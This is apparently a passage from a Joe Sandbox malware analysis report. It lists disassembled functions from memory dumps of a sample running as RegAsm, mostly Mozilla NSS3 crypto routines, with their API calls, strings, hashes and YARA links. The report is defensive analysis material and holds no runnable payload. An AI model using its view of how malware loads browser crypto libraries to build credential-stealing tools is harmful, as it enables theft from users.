nHl, xrefs: 6C3AAA9F, 6C3AAAD3
(CK_INVALID_HANDLE), xrefs: 6C3AA9FC
pParameter = 0x%p, xrefs: 6C3AAA35
ulAssociatedDataLen = 0x%p, xrefs: 6C3AAA82
hSession = 0x%x, xrefs: 6C3AA9DE, 6C3AA9EE
ulParameterLen = 0x%p, xrefs: 6C3AAA50
pAssociatedData = 0x%p, xrefs: 6C3AAA69

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin$nHl
API String ID: 1003633598-4183732163
Opcode ID: 5bb6d420b06b4c48b5ed3f4228172640ba6b62db8ead2cfe0fb393b3b2396a07
Instruction ID: 849459b8edfc8301f50cbbbf3f0818d754097a818ff991909a3f0cf6c30b126a
Opcode Fuzzy Hash: 5bb6d420b06b4c48b5ed3f4228172640ba6b62db8ead2cfe0fb393b3b2396a07
Instruction Fuzzy Hash: 0531A036602154ABDB10FF94DD48F9E7BB1EB4A21CF048059E80857A11DB31E869CFA2

Function 6C3A2F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C3A2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A2F63

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C3A2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C3A2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C3A2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C3A2FE7

Strings

nHl, xrefs: 6C3A2FFF, 6C3A3030
(CK_INVALID_HANDLE), xrefs: 6C3A2F5C
ulOldLen = %d, xrefs: 6C3A2FB0
pNewPin = 0x%p, xrefs: 6C3A2FC9
hSession = 0x%x, xrefs: 6C3A2F3E, 6C3A2F4E
ulNewLen = %d, xrefs: 6C3A2FE2
C_SetPIN, xrefs: 6C3A2F21
pOldPin = 0x%p, xrefs: 6C3A2F95

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nHl
API String ID: 1003633598-2892734068
Opcode ID: 034ef3cf4c071e76cf504bbdc6c1b2d69c7b15915617b88e414b6d90d4eb72e3
Instruction ID: 70ce7ade25a770271cde0095c82362f85c8fbd9d092a04bd3c462f5092db6908
Opcode Fuzzy Hash: 034ef3cf4c071e76cf504bbdc6c1b2d69c7b15915617b88e414b6d90d4eb72e3
Instruction Fuzzy Hash: 7C31E635A02154AFDB11FF95DD4CE8E7BB1EB4A31DF048058E80867A11DB31E859CFA2

Function 6C4028C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C405B40: PR_GetIdentitiesLayer.NSS3 ref: 6C405B56

TlsGetValue.KERNEL32 ref: 6C40290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C40291E
TlsGetValue.KERNEL32 ref: 6C402937
EnterCriticalSection.KERNEL32(00000001), ref: 6C40294B
PR_EnterMonitor.NSS3(?), ref: 6C402966
PR_EnterMonitor.NSS3(?), ref: 6C4029AC
PR_ExitMonitor.NSS3(?), ref: 6C4029D1
PR_EnterMonitor.NSS3(?), ref: 6C4029F0
PR_EnterMonitor.NSS3(?), ref: 6C402A15
PR_EnterMonitor.NSS3(?), ref: 6C402A37
PR_ExitMonitor.NSS3(?), ref: 6C402A61
PR_ExitMonitor.NSS3(?), ref: 6C402A78
PR_ExitMonitor.NSS3(?), ref: 6C402A8F
PR_ExitMonitor.NSS3(?), ref: 6C402AA6

Part of subcall function 6C439440: TlsGetValue.KERNEL32 ref: 6C43945B
Part of subcall function 6C439440: TlsGetValue.KERNEL32 ref: 6C439479
Part of subcall function 6C439440: EnterCriticalSection.KERNEL32 ref: 6C439495
Part of subcall function 6C439440: TlsGetValue.KERNEL32 ref: 6C4394E4
Part of subcall function 6C439440: TlsGetValue.KERNEL32 ref: 6C439532
Part of subcall function 6C439440: LeaveCriticalSection.KERNEL32 ref: 6C43955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C402AF9
free.MOZGLUE(?), ref: 6C402B16
PR_Unlock.NSS3(?), ref: 6C402B6D
PR_Unlock.NSS3(?), ref: 6C402B80

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 57e7de81a1c936490d79a9738b6238b9fd7389d923dff7626290b4ae970b38d0
Instruction ID: c461ba435af29f57b414a02b3e2f42d668406d5776bb566a5d1aacce4d0aaa29
Opcode Fuzzy Hash: 57e7de81a1c936490d79a9738b6238b9fd7389d923dff7626290b4ae970b38d0
Instruction Fuzzy Hash: 858191B5A00B005BE720EF35EC45E97B6B5AB55308F04493CE89AC6B51EF36E519CB82

Function 6C3C8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8E9E
PORT_ArenaAlloc_Util.NSS3(6C4D0B64,00000001,?,?,?,?,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C3C8E01,00000000,6C3C9060,6C4D0B64), ref: 6C3C8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C3C8E01), ref: 6C3C8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C4D0B64,6C4D0B64), ref: 6C3C8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C3C8F3F

Part of subcall function 6C3CA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C3CA421,00000000,00000000,6C3C9826), ref: 6C3CA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3C904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C3C8E76

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 9b9704486521e5a4b550ec0e9f2f0eb91a51ee19849a1b5928aab75cf5abb0e5
Instruction ID: 74c39aa51b9b5455334a95be5b2a38fadef5edb0845a046442bd459b0a5b6eb1
Opcode Fuzzy Hash: 9b9704486521e5a4b550ec0e9f2f0eb91a51ee19849a1b5928aab75cf5abb0e5
Instruction Fuzzy Hash: 10616CB5E01215ABDB10DF95DC80EAEB7B9EF84358F154128DC18A7701E732ED15CEA2

Function 6C378E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C378E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C378E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C378EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C4A18D0,?), ref: 6C378F03
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C378F19
PL_FreeArenaPool.NSS3(?), ref: 6C378F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C378F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C378F65
PL_FinishArenaPool.NSS3(?), ref: 6C378FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C378FFE
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C379012
PL_FreeArenaPool.NSS3(?), ref: 6C379024
PL_FinishArenaPool.NSS3(?), ref: 6C37902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C37903E

Strings

security, xrefs: 6C378EE7

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 39c153f6727124c448721719d5f558bdc94909da516afad89d1dc75fc67768a2
Instruction ID: db5ff4e504eb85370134bb06e51406d427966c1186fdeca8071f17b380df7526
Opcode Fuzzy Hash: 39c153f6727124c448721719d5f558bdc94909da516afad89d1dc75fc67768a2
Instruction Fuzzy Hash: 9A512C72508300ABD7209E589C41FAB77A8AB8575CF45082EF995A7F40D736E9088F77

Function 6C43CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C43CC7B), ref: 6C43CD7A

Part of subcall function 6C43CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C3AC1A8,?), ref: 6C43CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C43CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C43CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C43CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C43CD8E

Part of subcall function 6C3605C0: PR_EnterMonitor.NSS3 ref: 6C3605D1
Part of subcall function 6C3605C0: PR_ExitMonitor.NSS3 ref: 6C3605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C43CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C43CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C43CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C43CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C43CE48

Strings

getaddrinfo, xrefs: 6C43CD88, 6C43CDF9
freeaddrinfo, xrefs: 6C43CD9F, 6C43CE10
ws2_32.dll, xrefs: 6C43CD75
getnameinfo, xrefs: 6C43CDB2, 6C43CE23
wship6.dll, xrefs: 6C43CDE3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 8702430a4562172bef94ef255b2277c697646a2cc566ed37729c620a6344a9c2
Instruction ID: 90ef359ac51610cc03957c6a3e9a13f65da1a65f28a047cca33718719e4fd561
Opcode Fuzzy Hash: 8702430a4562172bef94ef255b2277c697646a2cc566ed37729c620a6344a9c2
Instruction Fuzzy Hash: 7711E4E5E0217113E701F6BB2C41E9E38595B5711EF18563DF809D1F45FB20D5098AE7

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 6C3E0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,>l), ref: 6C3E0C81

Part of subcall function 6C3CBE30: SECOID_FindOID_Util.NSS3(6C38311B,00000000,?,6C38311B,?), ref: 6C3CBE44

Part of subcall function 6C3B8500: SECOID_GetAlgorithmTag_Util.NSS3(6C3B95DC,00000000,00000000,00000000,?,6C3B95DC,00000000,00000000,?,6C397F4A,00000000,?,00000000,00000000), ref: 6C3B8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3E0CC4

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3E0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C3E0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C3E0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C3E0D7D
free.MOZGLUE(00000000), ref: 6C3E0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3E0DC1
free.MOZGLUE(00000000), ref: 6C3E0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3E0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C3E0E0F

Part of subcall function 6C3B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C397F4A,00000000,?,00000000,00000000), ref: 6C3B95E0
Part of subcall function 6C3B95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C397F4A,00000000,?,00000000,00000000), ref: 6C3B95F5
Part of subcall function 6C3B95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C3B9609
Part of subcall function 6C3B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3B961D
Part of subcall function 6C3B95C0: PK11_GetInternalSlot.NSS3 ref: 6C3B970B
Part of subcall function 6C3B95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C3B9756
Part of subcall function 6C3B95C0: PK11_GetIVLength.NSS3(?), ref: 6C3B9767
Part of subcall function 6C3B95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C3B977E
Part of subcall function 6C3B95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3B978E

Strings

-$>l, xrefs: 6C3E0C64
*,>l, xrefs: 6C3E0C69, 6C3E0DE0, 6C3E0C80, 6C3E0C8B, 6C3E0CAF
*,>l, xrefs: 6C3E0DCC

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,>l$*,>l$-$>l
API String ID: 3136566230-1690051546
Opcode ID: fe92ef161802b77158a592dc90f82602042eda05132805a6bb825e567bee34eb
Instruction ID: 909ab79f9b512c0abe822d2a667aa92bfcd45530e57ad304cd630c452f7b3baa
Opcode Fuzzy Hash: fe92ef161802b77158a592dc90f82602042eda05132805a6bb825e567bee34eb
Instruction Fuzzy Hash: 5541B0B5900255ABEB009F65DC85BAF7678EF0830CF140025E9156BB51EB36AA58CFE2

Function 6C3D6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C4A1DE0,?), ref: 6C3D6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3D6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C3D6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C3D6D82
DER_GetInteger_Util.NSS3(?), ref: 6C3D6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3D6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C3D6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C3D6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C3D6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C3D6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C3D7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C3D7033
free.MOZGLUE(?), ref: 6C3D703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C3D7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C3D7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C3D70AF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 883f5c8818a84a0ec2282f852c848dd6707d460811a7382ec6450683da8bbbad
Instruction ID: 0a9575331b2c9f7b53a5cec72aeb9ead7a89c991b756e8bbeb7be5d069cc7a80
Opcode Fuzzy Hash: 883f5c8818a84a0ec2282f852c848dd6707d460811a7382ec6450683da8bbbad
Instruction Fuzzy Hash: 3CA1FB739046019BEB009F24DC45B9A32B8EB8130CF164D39E969CBA91E776F8558F63

Function 6C39AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39AF39
PR_Unlock.NSS3(?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39AF69
TlsGetValue.KERNEL32 ref: 6C39B06B
EnterCriticalSection.KERNEL32(?), ref: 6C39B083
PR_Unlock.NSS3(?), ref: 6C39B0A4
TlsGetValue.KERNEL32 ref: 6C39B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C39B0D9
PR_Unlock.NSS3 ref: 6C39B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C39B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C39B182

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C39B177

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C37AB95,00000000,?,00000000,00000000,00000000), ref: 6C39B1C2

Part of subcall function 6C3C1560: TlsGetValue.KERNEL32(00000000,?,6C390844,?), ref: 6C3C157A
Part of subcall function 6C3C1560: EnterCriticalSection.KERNEL32(?,?,?,6C390844,?), ref: 6C3C158F
Part of subcall function 6C3C1560: PR_Unlock.NSS3(?,?,?,?,6C390844,?), ref: 6C3C15B2

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

